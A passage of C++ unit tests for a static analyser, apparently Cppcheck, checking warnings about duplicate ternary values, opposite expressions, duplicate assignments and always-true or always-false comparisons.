value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n 